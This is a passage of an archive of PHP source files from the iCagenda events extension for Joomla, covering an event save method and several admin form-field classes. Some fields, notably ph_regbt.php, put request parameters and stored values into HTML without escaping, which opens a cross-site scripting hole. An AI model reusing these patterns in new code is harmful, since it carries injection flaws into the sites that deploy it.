	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.4.0
	 */
	public function save($data)
	{
		$date = JFactory::getDate();

		// Fix version before 3.4.0 to set a created date (will use last modified date if exists, or current date)
		if (empty($data['created']))
		{
			$data['created'] = !empty($data['modified']) ? $data['modified'] : $date->toSql();
		}

		// Generates Alias if empty
		// Alias is not generated if non-latin characters, so we fix it by using created date, or title if unicode is activated, as alias
		if ($data['alias'] == null || empty($data['alias']))
		{
			$data['alias'] = JFilterOutput::stringURLSafe($data['title']);

			if ($data['alias'] == null || empty($data['alias']))
			{
				if (JFactory::getConfig()->get('unicodeslugs') == 1)
				{
					$data['alias'] = JFilterOutput::stringURLUnicodeSlug($data['title']);
				}
				else
				{
					$data['alias'] = JFilterOutput::stringURLSafe($data['created']);
				}
			}
		}

		$return = parent::save($data);

		return $return;
	}
}
com_icagenda/models/fields/index.html000060400000000032152455305270013662 0ustar00<html><body></body></html>com_icagenda/models/fields/iclist/index.html000060400000000032152455305270015151 0ustar00<html><body></body></html>com_icagenda/models/fields/iclist/globalization.php000060400000021467152455305270016542 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.7 2015-07-12
 * @since       2.1.7
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldiClist_globalization extends JFormField
{
	protected $type='iclist_globalization';

	protected function getInput()
	{
		$lang		= JFactory::getLanguage();
		$langTag	= $lang->getTag();
		$langName	= $lang->getName();

		if ( ! file_exists(JPATH_LIBRARIES . '/ic_library/globalize/culture/' . $langTag . '.php'))
		{
			$langTag = 'en-GB';
			$currentText = JTEXT::_('COM_ICAGENDA_DATE_FORMAT_DEFAULT') . ' [' . $langTag . '] :';

		}
		else
		{
			$currentText = JTEXT::_('COM_ICAGENDA_DATE_FORMAT_CURRENT') . ' [' . $langTag . '] :';
		}

		$globalize		= JPATH_LIBRARIES . '/ic_library/globalize/culture/' . $langTag . '.php';
		$iso			= JPATH_LIBRARIES . '/ic_library/globalize/culture/iso.php';

		require_once $globalize;
		require_once $iso;

		$class		= isset($class) ? ' class="' . $class . '"' : '';
		$selected	= ' selected="selected" style="background:#D4D4D4;"';

		// Start Select List of Date Formats
		$html = '<select id="' . $this->id . '_id"' . $class . ' name="' . $this->name . '" style="width:250px;" >';

		if ($this->name != 'jform[format]' && $this->name != 'format')
		{
			$html.= '<option value="" style="text-align:center;">- ' . JTEXT::_('COM_ICAGENDA_SELECT_FORMAT') . ' -</option>';
		}

		// Date Formats in Current Language of User (admin)
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			$html.= '<optgroup label="&nbsp;"></optgroup>';
			$html.= '<optgroup label="' . $currentText . '" style="font-style:normal; color:#333333;"></optgroup>';
		}
		else
		{
			$html.= '<optgroup label="' . $currentText . '">';
		}

		$dateglobalize_array[] = array();
		$dateglobalize_array[] = $dateglobalize_1;
		$dateglobalize_array[] = $dateglobalize_2;
		$dateglobalize_array[] = $dateglobalize_3;
		$dateglobalize_array[] = $dateglobalize_4;
		$dateglobalize_array[] = isset($dateglobalize_5) ? $dateglobalize_5 : ''; // en-GB, en-US
		$dateglobalize_array[] = $dateglobalize_6;
		$dateglobalize_array[] = $dateglobalize_7;
		$dateglobalize_array[] = $dateglobalize_8;
		$dateglobalize_array[] = isset($dateglobalize_9) ? $dateglobalize_9 : ''; // en-GB
		$dateglobalize_array[] = isset($dateglobalize_10) ? $dateglobalize_10 : ''; // en-GB
		$dateglobalize_array[] = $dateglobalize_11;
		$dateglobalize_array[] = $dateglobalize_12;

		foreach ($dateglobalize_array as $format => $label)
		{
			if (isset($label) && $label)
			{
				$html.= '<option value="' . $format . '"';
				$html.= ($this->value == $format) ? $selected : '';
				$html.= '>' . $label . '</option>';
			}
		}

		if (version_compare(JVERSION, '3.0', 'ge'))
		{
			$html.= '</optgroup>';
		}


		// Other date format in English (if 'en-GB' is current language)
		if ($langTag == 'en-GB')
		{
			// Extra en-US
			if (version_compare(JVERSION, '3.0', 'lt'))
			{
				$html.= '<optgroup label="&nbsp;"></optgroup>';
				$html.= '<optgroup label="Other date format in English" style="font-style:normal; color:#333333;"></optgroup>';
				$html.= '<optgroup label="en-US (more formats if current language) :" style="font-weight:normal; color:#777777;"></optgroup>';
			}
			else
			{
				$html.= '<optgroup label="en-US (more formats if current language) :">';
			}

			$extra_array = array(
					$extravalue_1 => $extra_1,
					$extravalue_2 => $extra_2,
					$extravalue_3 => $extra_3,
					$extravalue_4 => $extra_4,
					$extravalue_5 => $extra_5,
				);

			foreach ($extra_array as $format => $label)
			{
				$html.= '<option value="' . $format . '"';
				$html.= ($this->value == $format) ? $selected : '';
				$html.= '>' . $label . '</option>';
			}

			if (version_compare(JVERSION, '3.0', 'ge'))
			{
				$html.= '</optgroup>';
			}

			// Extra en-CA
			if (version_compare(JVERSION, '3.0', 'lt'))
			{
				$html.= '<optgroup label="en-CA :" style="font-weight:normal; color:#777777;"></optgroup>';
			}
			else
			{
				$html.= '<optgroup label="en-CA :">';
			}

			$html.= '<option value="' . $extravalue_6 . '"';
			$html.= ($this->value == $extravalue_6) ? $selected : '';
			$html.= '>' . $extra_6 . '</option>';

			if (version_compare(JVERSION, '3.0', 'ge'))
			{
				$html.= '</optgroup>';
			}

			// Extra en-SG
			if (version_compare(JVERSION, '3.0', 'lt'))
			{
				$html.= '<optgroup label="en-SG :" style="font-weight:normal; color:#777777;"></optgroup>';
			}
			else
			{
				$html.= '<optgroup label="en-SG :">';
			}

			$html.= '<option value="' . $extravalue_7 . '"';
			$html.= ($this->value == $extravalue_7) ? $selected : '';
			$html.= '>' . $extra_7 . '</option>';

			if (version_compare(JVERSION, '3.0', 'ge'))
			{
				$html.= '</optgroup>';
			}
		}


		// International Date Format (ISO)
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			$html.= '<optgroup label="&nbsp;"></optgroup>';
			$html.= '<optgroup label="' . JTEXT::_('COM_ICAGENDA_DATE_FORMAT_ISO') . '" style="font-style:normal; color:#333333;"></optgroup>';
		}
		else
		{
			$html.= '<optgroup label="' . JTEXT::_('COM_ICAGENDA_DATE_FORMAT_ISO') . '">';
		}

		$html.= '<option value="' . $iso . '"';
		$html.= ($this->value == $iso) ? $selected : '';
		$html.= '>1993-04-30</option>';

		if (version_compare(JVERSION, '3.0', 'ge'))
		{
			$html.= '</optgroup>';
		}


		// Global date formats with separator
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			$html.= '<optgroup label="&nbsp;"></optgroup>';
			$html.= '<optgroup label="' . JTEXT::_('COM_ICAGENDA_DATE_FORMAT_SEPARATOR') . '" style="font-style:normal; color:#333333;"></optgroup>';
		}


		// DMY Little-endian (day, month, year), e.g. 22.04.96 or 22/04/96
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			$html.= '<optgroup label="' . JTEXT::_('COM_ICAGENDA_DATE_FORMAT_DMY') . ' :" style="font-weight:normal; color:#777777;"></optgroup>';
		}
		else
		{
			$html.= '<optgroup label="' . JTEXT::_('COM_ICAGENDA_DATE_FORMAT_DMY') . '">';
		}

		$dmy_array = array(
				$dmy_1 => '30␣04␣1993',
				$dmy_2 => '30␣04␣93',
				$dmy_3 => '30␣04',
				$dmy_4 => '04␣93',
				$dmy_5 => isset($dmy_text_5) ? $dmy_text_5 : '',
				$dmy_6 => isset($dmy_text_6) ? $dmy_text_6 : ''
			);

		foreach ($dmy_array as $format => $label)
		{
			if ($label)
			{
				$html.= '<option value="' . $format . '"';
				$html.= ($this->value == $format) ? $selected : '';
				$html.= '>' . $label . '</option>';
			}
		}

		if (version_compare(JVERSION, '3.0', 'ge'))
		{
			$html.= '</optgroup>';
		}


		// MDY Middle-endian (month, day, year), e.g. 04/22/96
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			$html.= '<optgroup label="' . JTEXT::_('COM_ICAGENDA_DATE_FORMAT_MDY') . ' :" style="font-weight:normal; color:#777777;"></optgroup>';
		}
		else
		{
			$html.= '<optgroup label="' . JTEXT::_('COM_ICAGENDA_DATE_FORMAT_MDY') . '">';
		}

		$mdy_array = array(
				$mdy_1 => '04␣30␣1993',
				$mdy_2 => '04␣30␣93',
				$mdy_3 => '04␣30',
				$mdy_4 => '04␣93',
				$mdy_5 => isset($mdy_text_5) ? $mdy_text_5 : '',
				$mdy_6 => isset($mdy_text_6) ? $mdy_text_6 : ''
			);

		foreach ($mdy_array as $format => $label)
		{
			if ($label)
			{
				$html.= '<option value="' . $format . '"';
				$html.= ($this->value == $format) ? $selected : '';
				$html.= '>' . $label . '</option>';
			}
		}

		if (version_compare(JVERSION, '3.0', 'ge'))
		{
			$html.= '</optgroup>';
		}


		// YMD Big-endian (year, month, day), e.g. 1996-04-22
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			$html.= '<optgroup label="' . JTEXT::_('COM_ICAGENDA_DATE_FORMAT_YMD') . ' :" style="font-weight:normal; color:#777777;"></optgroup>';
		}
		else
		{
			$html.= '<optgroup label="' . JTEXT::_('COM_ICAGENDA_DATE_FORMAT_YMD') . '">';
		}

		$ymd_array = array(
				$ymd_1 => '1993␣04␣30',
				$ymd_2 => '93␣04␣30',
				$ymd_3 => '04␣30',
				$ymd_4 => '93␣04',
				$ymd_5 => isset($ymd_text_5) ? $ymd_text_5 : '',
				$ymd_6 => isset($ymd_text_6) ? $ymd_text_6 : ''
			);

		foreach ($ymd_array as $format => $label)
		{
			if ($label)
			{
				$html.= '<option value="' . $format . '"';
				$html.= ($this->value == $format) ? $selected : '';
				$html.= '>' . $label . '</option>';
			}
		}

		if (version_compare(JVERSION, '3.0', 'ge'))
		{
			$html.= '</optgroup>';
		}

		$html.= '</select>';

		return $html;
	}
}
com_icagenda/models/fields/icmap/lat.php000060400000004112152455305270014252 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rez�, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rez� (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.0 2015-02-15
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

/**
 * Returns Latitude from Google Maps address auto-complete field.
 */
class JFormFieldiCmap_lat extends JFormField
{
	protected $type='icmap_lat';

	protected function getInput()
	{
		// Check if coords set (deprecated)
		$id = JRequest::getVar('id');

		$class = isset($this->class) ? ' class="' . $this->class . '"' : '';

		if (isset($id))
		{
			$db	= JFactory::getDBO();
			$db->setQuery(
				'SELECT a.coordinate' .
				' FROM #__icagenda_events AS a' .
				' WHERE a.id = '.(int) $id
			);

			$coords = $db->loadResult();
		}
		else
		{
			$coords = NULL;
		}

		$session = JFactory::getSession();
		$ic_submit_lat = $session->get('ic_submit_lat', '');

		$lat_value = $ic_submit_lat ? $ic_submit_lat : $this->value;

		if ($coords != NULL
			&& $lat_value == '0.0000000000000000')
		{
			$ex			= explode(', ', $coords);
			$lat_value	= $ex[0];
		}
		elseif ($lat_value != '0.0000000000000000')
		{
			$lat_value	= $lat_value;
		}
		else
		{
			$lat_value	= NULL;
		}

		$html= '<div class="clr"></div>';
		$html.= '<label class="icmap-label">' . JText::_('COM_ICAGENDA_GOOGLE_MAPS_LATITUDE_LBL') . '</label> <input name="' . $this->name . '" id="lat" type="text"' . $class . ' value="' . $lat_value . '"/>';

		// clear the data so we don't process it again
		$session->clear('ic_submit_lat');

		return $html;
	}
}

com_icagenda/models/fields/icmap/city.php000060400000003031152455305270014441 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rez�, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rez� (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.0 2015-02-25
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

/**
 * Returns City from Google Maps address auto-complete field.
 */
class JFormFieldiCmap_city extends JFormField
{
	protected $type='icmap_city';

	protected function getInput()
	{
		$session = JFactory::getSession();
		$ic_submit_city = $session->get('ic_submit_city', '');

		$city_value = $ic_submit_city ? $ic_submit_city : $this->value;

		$class = isset($this->class) ? ' class="' . $this->class . '"' : '';

		$html = '<div class="clr"></div>';
		$html.= '<label class="icmap-label">' . JText::_('COM_ICAGENDA_FORM_LBL_EVENT_CITY') . '</label> <input name="' . $this->name . '" id="locality" type="text"' . $class . ' value="' . $city_value . '"/>';

		// clear the data so we don't process it again
		$session->clear('ic_submit_city');

		return $html;
	}
}
com_icagenda/models/fields/icmap/index.html000060400000000032152455305270014753 0ustar00<html><body></body></html>com_icagenda/models/fields/icmap/lng.php000060400000004112152455305270014252 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rez�, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rez� (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.0 2015-02-15
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

/**
 * Returns Latitude from Google Maps address auto-complete field.
 */
class JFormFieldiCmap_lng extends JFormField
{
	protected $type='icmap_lng';

	protected function getInput()
	{
		// Check if coords set (deprecated)
		$id = JRequest::getVar('id');

		$class = isset($this->class) ? ' class="' . $this->class . '"' : '';

		if (isset($id))
		{
			$db	= JFactory::getDBO();
			$db->setQuery(
				'SELECT a.coordinate' .
				' FROM #__icagenda_events AS a' .
				' WHERE a.id = '.(int) $id
			);

			$coords = $db->loadResult();
		}
		else
		{
			$coords = NULL;
		}

		$session = JFactory::getSession();
		$ic_submit_lng = $session->get('ic_submit_lng', '');

		$lng_value = $ic_submit_lng ? $ic_submit_lng : $this->value;

		if ($coords != NULL
			&& $lng_value == '0.0000000000000000')
		{
			$ex			= explode(', ', $coords);
			$lng_value	= $ex[1];
		}
		elseif ($lng_value != '0.0000000000000000')
		{
			$lng_value	= $lng_value;
		}
		else
		{
			$lng_value	= NULL;
		}

		$html= '<div class="clr"></div>';
		$html.= '<label class="icmap-label">' . JText::_('COM_ICAGENDA_GOOGLE_MAPS_LONGITUDE_LBL') . '</label> <input name="' . $this->name . '" id="lng" type="text"' . $class . ' value="' . $lng_value . '"/>';

		// clear the data so we don't process it again
		$session->clear('ic_submit_lng');

		return $html;
	}
}
com_icagenda/models/fields/icmap/country.php000060400000003072152455305270015201 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rez�, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rez� (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.0 2015-02-25
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

/**
 * Returns Country from Google Maps address auto-complete field.
 */
class JFormFieldiCmap_country extends JFormField
{
	protected $type='icmap_country';

	protected function getInput()
	{
		$session = JFactory::getSession();
		$ic_submit_country = $session->get('ic_submit_country', '');

		$country_value = $ic_submit_country ? $ic_submit_country : $this->value;

		$class = isset($this->class) ? ' class="' . $this->class . '"' : '';

		$html = '<div class="clr"></div>';
		$html.= '<label class="icmap-label">' . JText::_('COM_ICAGENDA_FORM_LBL_EVENT_COUNTRY') . '</label> <input name="' . $this->name . '" id="country" type="text"' . $class . ' value="' . $country_value . '" />';

		// clear the data so we don't process it again
		$session->clear('ic_submit_country');

		return $html;
	}
}
com_icagenda/models/fields/modal/tos_article.php000060400000015034152455305270016012 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.2.0 2013-09-18
 * @since       3.2.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * Supports a modal article picker.
 */
class JFormFieldModal_tos_article extends JFormField
{
	/**
	 * The form field type.
	 */
	protected $type = 'modal_tos_article';

//	protected function getLabel()
//	{
//	   return ' ';
//	}

	/**
	 * Method to get the field input markup.
	 */
	protected function getInput()
	{
		$icagendaParams = JComponentHelper::getParams('com_icagenda');
		$tos_Type = $icagendaParams->get('tos_Type', '1');

		$allowEdit		= ((string) $this->element['edit'] == 'true') ? true : false;
		$allowClear		= ((string) $this->element['clear'] != 'false') ? true : false;

		// Load language
		JFactory::getLanguage()->load('com_content', JPATH_ADMINISTRATOR);

		// Load the modal behavior script.
		JHtml::_('behavior.modal', 'a.modal');

		// Build the script.
		$script = array();

		// Select button script
		$script[] = '	function jSelectArticle_'.$this->id.'(id, title, catid, object) {';
		$script[] = '		document.getElementById("'.$this->id.'_id").value = id;';
		$script[] = '		document.getElementById("'.$this->id.'_name").value = title;';

		if ($allowEdit)
		{
			$script[] = '		jQuery("#'.$this->id.'_edit").removeClass("hidden");';
		}

		if ($allowClear)
		{
			$script[] = '		jQuery("#'.$this->id.'_clear").removeClass("hidden");';
		}

		$script[] = '		SqueezeBox.close();';
		$script[] = '	}';

		// Clear button script
		static $scriptClear;

		if ($allowClear && !$scriptClear)
		{
			$scriptClear = true;

			$script[] = '	function jClearArticle(id) {';
			$script[] = '		document.getElementById(id + "_id").value = "";';
			$script[] = '		document.getElementById(id + "_name").value = "'.htmlspecialchars(JText::_('COM_CONTENT_SELECT_AN_ARTICLE', true), ENT_COMPAT, 'UTF-8').'";';
			$script[] = '		jQuery("#"+id + "_clear").addClass("hidden");';
			$script[] = '		if (document.getElementById(id + "_edit")) {';
			$script[] = '			jQuery("#"+id + "_edit").addClass("hidden");';
			$script[] = '		}';
			$script[] = '		return false;';
			$script[] = '	}';
		}

		// Add the script to the document head.
		JFactory::getDocument()->addScriptDeclaration(implode("\n", $script));

		// Setup variables for display.
		$html	= array();
		$link	= 'index.php?option=com_content&amp;view=articles&amp;layout=modal&amp;tmpl=component&amp;function=jSelectArticle_'.$this->id;

		if (isset($this->element['language']))
		{
			$link .= '&amp;forcedLanguage='.$this->element['language'];
		}

		$db	= JFactory::getDbo();
		$db->setQuery(
			'SELECT title' .
			' FROM #__content' .
			' WHERE id = '.(int) $this->value
		);

		try
		{
			$title = $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());
		}

		if (empty($title))
		{
			$title = JText::_('COM_CONTENT_SELECT_AN_ARTICLE');
		}
		$title = htmlspecialchars($title, ENT_QUOTES, 'UTF-8');

		// The active article id field.
		if (0 == (int) $this->value)
		{
			$value = '';
		}
		else
		{
			$value = (int) $this->value;
		}

		// The current article display field.
		$html[] = '<div id="ic_article"><fieldset class="span9 iCleft"><div>&nbsp;</div><span class="input-append">';
		$html[] = '<input type="text" class="input-medium" style="margin:0px" id="'.$this->id.'_name" value="'.$title.'" disabled="disabled" size="35" />';

		if(version_compare(JVERSION, '3.0', 'lt')) {
			$html[] = '<a class="modal btn hasTooltip" title="'.JText::_('COM_CONTENT_CHANGE_ARTICLE').'"  href="'.$link.'&amp;'.JSession::getFormToken().'=1" rel="{handler: \'iframe\', size: {x: 800, y: 450}}">'.JText::_('JSELECT').'</a>';
		} else {
			$html[] = '<a class="modal btn hasTooltip" title="'.JHtml::tooltipText('COM_CONTENT_CHANGE_ARTICLE').'"  href="'.$link.'&amp;'.JSession::getFormToken().'=1" rel="{handler: \'iframe\', size: {x: 800, y: 450}}"><i class="icon-file"></i> '.JText::_('JSELECT').'</a>';
		}

		// Edit article button
		if ($allowEdit)
		{
			if(version_compare(JVERSION, '3.0', 'lt')) {
				$html[] = '<a class="btn hasTooltip'.($value ? '' : ' hidden').'" href="index.php?option=com_content&view=article&layout=edit&id=' . $value. '" target="_blank" title="'.JText::_('COM_CONTENT_EDIT_ARTICLE').'" alt="'.JText::_('COM_CONTENT_EDIT_ARTICLE').'" >' . JText::_('JACTION_EDIT') . '</a>';
			} else {
				$html[] = '<a class="btn hasTooltip'.($value ? '' : ' hidden').'" href="index.php?option=com_content&layout=modal&tmpl=component&task=article.edit&id=' . $value. '" target="_blank" title="'.JHtml::tooltipText('COM_CONTENT_EDIT_ARTICLE').'" ><span class="icon-edit"></span> ' . JText::_('JACTION_EDIT') . '</a>';
			}
		}

		// Clear article button
		if ($allowClear)
		{
			if(version_compare(JVERSION, '3.0', 'lt')) {
				$html[] = '<a id="'.$this->id.'_clear" class="btn'.($value ? '' : ' hidden').'" onclick="return jClearArticle(\''.$this->id.'\')">' . JText::_('JCLEAR') . '</a>';
			} else {
				$html[] = '<button id="'.$this->id.'_clear" class="btn'.($value ? '' : ' hidden').'" onclick="return jClearArticle(\''.$this->id.'\')"><span class="icon-remove"></span> ' . JText::_('JCLEAR') . '</button>';
			}
		}

		$html[] = '</span>';

		// class='required' for client side validation
		$class = '';
		if ($this->required)
		{
			$class = ' class="required modal-value"';
		}


		$html[] = '<input type="hidden" id="'.$this->id.'_id"'.$class.' name="'.$this->name.'" value="'.$value.'" /></fieldset></div>';

//		if ($tos_Type == 'on') {
//			$tos_Type = '1';
//		}
		if ($tos_Type == '1') {
			$html[] = '<script type="text/javascript">';
			$html[] = 'document.getElementById("ic_default").style.display = "none";';
			$html[] = 'document.getElementById("ic_article").style.display = "block";';
			$html[] = 'document.getElementById("tos_custom").style.display = "none";';
			$html[] = '</script>';
		} else {
			$html[] = '<script type="text/javascript">';
			$html[] = 'document.getElementById("ic_article").style.display = "none";';
			$html[] = '</script>';
		}


		return implode("\n", $html);
	}
}
com_icagenda/models/fields/modal/evt_date.php000060400000007245152455305270015302 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.9 2015-07-30
 * @since       3.3.3
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_evt_date extends JFormField
{
	protected $type = 'modal_evt_date';

	protected function getInput()
	{
		$jinput	= JFactory::getApplication()->input;
		$view	= $jinput->get('view');

		$id		= ($view == 'mail') ? $jinput->get('eventid', '0') : $jinput->get('id', '0');

		if ($id != 0)
		{
			$db		= JFactory::getDbo();
			$query	= $db->getQuery(true);
			$query->select('r.id as reg_id, r.date AS reg_date, r.period AS reg_period, r.eventid AS reg_eventid, sum(r.people) AS reg_count')
				->from('`#__icagenda_registration` AS r');

			if ($view == 'mail')
			{
				$query->where('r.state = 1');
				$query->group('r.date');
			}

			$query->where('r.eventid = ' . (int) $id);

			$db->setQuery($query);

			if ($view == 'mail')
			{
				$result = $db->loadObjectList();
			}
			else
			{
				$result = $db->loadObject();
				$event_id	= $result->reg_eventid;
				$saveddate	= $result->reg_date;
			}
		}
		elseif ($view == 'registration')
		{
			$event_id	= '';
			$saveddate	= '';
		}

		if ($view == 'registration')
		{
			// Test if date saved in in datetime data format
			$date_is_datetime_sql	= false;
			$array_ex_date			= array('-', ' ', ':');
			$d_ex					= str_replace($array_ex_date, '-', $saveddate);
			$d_ex					= explode('-', $d_ex);

			if (count($d_ex) > 4)
			{
				if (   strlen($d_ex[0]) == 4
					&& strlen($d_ex[1]) == 2
					&& strlen($d_ex[2]) == 2
					&& strlen($d_ex[3]) == 2
					&& strlen($d_ex[4]) == 2   )
				{
					$date_is_datetime_sql = true;
				}
			}

			// Test if registered date before 3.3.3 could be converted
			// Control if new date format (Y-m-d H:i:s)
			$input		= trim($saveddate);
			$is_valid	= date('Y-m-d H:i:s', strtotime($input)) == $input;

			if ($is_valid
				&& strtotime($saveddate))
			{
				$date_get		= explode (' ', $saveddate);
				$saved_date		= $date_get['0'];
				$saved_time		= date('H:i:s', strtotime($date_get['1']));
			}
			else
			{
				// Explode to test if stored in old format in database
				$ex_saveddate	= explode (' - ', $saveddate);
				$saved_date		= isset($ex_saveddate['0']) ? trim($ex_saveddate['0']) : '';
				$saved_time		= isset($ex_saveddate['1']) ? trim(date('H:i:s', strtotime($ex_saveddate['1']))) : '';
			}

			$data_eventid = $event_id;

			$eventid_url = JRequest::getVar('eventid', '');

			if ( ! $date_is_datetime_sql && $saveddate )
			{
				$saveddate_text = '"<b>' . $saveddate . '</b>"';
				echo '<div class="ic-alert ic-alert-note"><span class="iCicon-info"></span> <strong>' . JText::_('NOTICE') . '</strong><br />'
					. JText::sprintf('COM_ICAGENDA_REGISTRATION_ERROR_DATE_CONTROL', $saveddate_text) . '</div>';
			}

			$event_id = isset($event_id) ? $eventid_url : '';

			$html = '<select name="' . $this->name . '" id="' . $this->id . '_id" data-chosen="true"></select>';
		}
		else
		{
			$html = '<select name="' . $this->name . '" id="' . $this->id . '_id" data-chosen="true"></select>';
		}

		return $html;
	}
}
com_icagenda/models/fields/modal/ph_regbt.php000060400000002610152455305270015270 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.1.3 2013-08-08
 * @since       3.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_ph_regbt extends JFormField
{
	protected $type='modal_ph_regbt';

	protected function getInput()
	{
		$class = JRequest::getVar('class');

		jimport('joomla.application.component.helper');
		$icagendaParams = JComponentHelper::getParams('com_icagenda');
		$extRegButtonText = $icagendaParams->get('RegButtonText');

		if (!isset($extRegButtonText)) { $extRegButtonText = JText::_( 'COM_ICAGENDA_REGISTRATION_REGISTER'); }

		$html ='<input type="text" id="'.$this->id.'" class="'.$class.'" name="'.$this->name.'" value="'.$this->value.'" placeholder="'.$extRegButtonText.'"/>';

		return $html;
	}
}
com_icagenda/models/fields/modal/icvalue_field.php000060400000003350152455305270016273 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.2.3 2013-10-17
 * @since       3.2.3
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_icvalue_field extends JFormField
{
	protected $type='modal_icvalue_field';

	protected function getInput()
	{

		$Explode = explode('_', $this->name);
		$TypeName = $Explode[0].']';

		$replace = array("jform", "[params]", "[", "]");
		$name = str_replace($replace, "", $TypeName);

		$Type_default = $name.'_default';
		$Type_content = $name.'_custom';

		$html	= array();

		$html[] = '<div id="'.$Type_content.'"><fieldset class="span9 iCleft">';
		$html[] = '<input type="text" value="'.$this->value.'" name="'.$this->name.'"/>';
		$html[] = '</fieldset></div>';

		$html[] = '<script type="text/javascript">';
		$html[] = 'if (typeset == 1) {';
		$html[] = 'document.getElementById("'.$Type_content.'").style.display = "block";';
		$html[] = '}';
		$html[] = 'if (typeset == 0) {';
		$html[] = 'document.getElementById("'.$Type_content.'").style.display = "none";';
		$html[] = '}';
		$html[] = '</script>';

		return implode("\n", $html);
	}
}
com_icagenda/models/fields/modal/ictextarea_counter.php000060400000013220152455305270017365 0ustar00<?php
/**
 *------------------------------------------------------------------------------
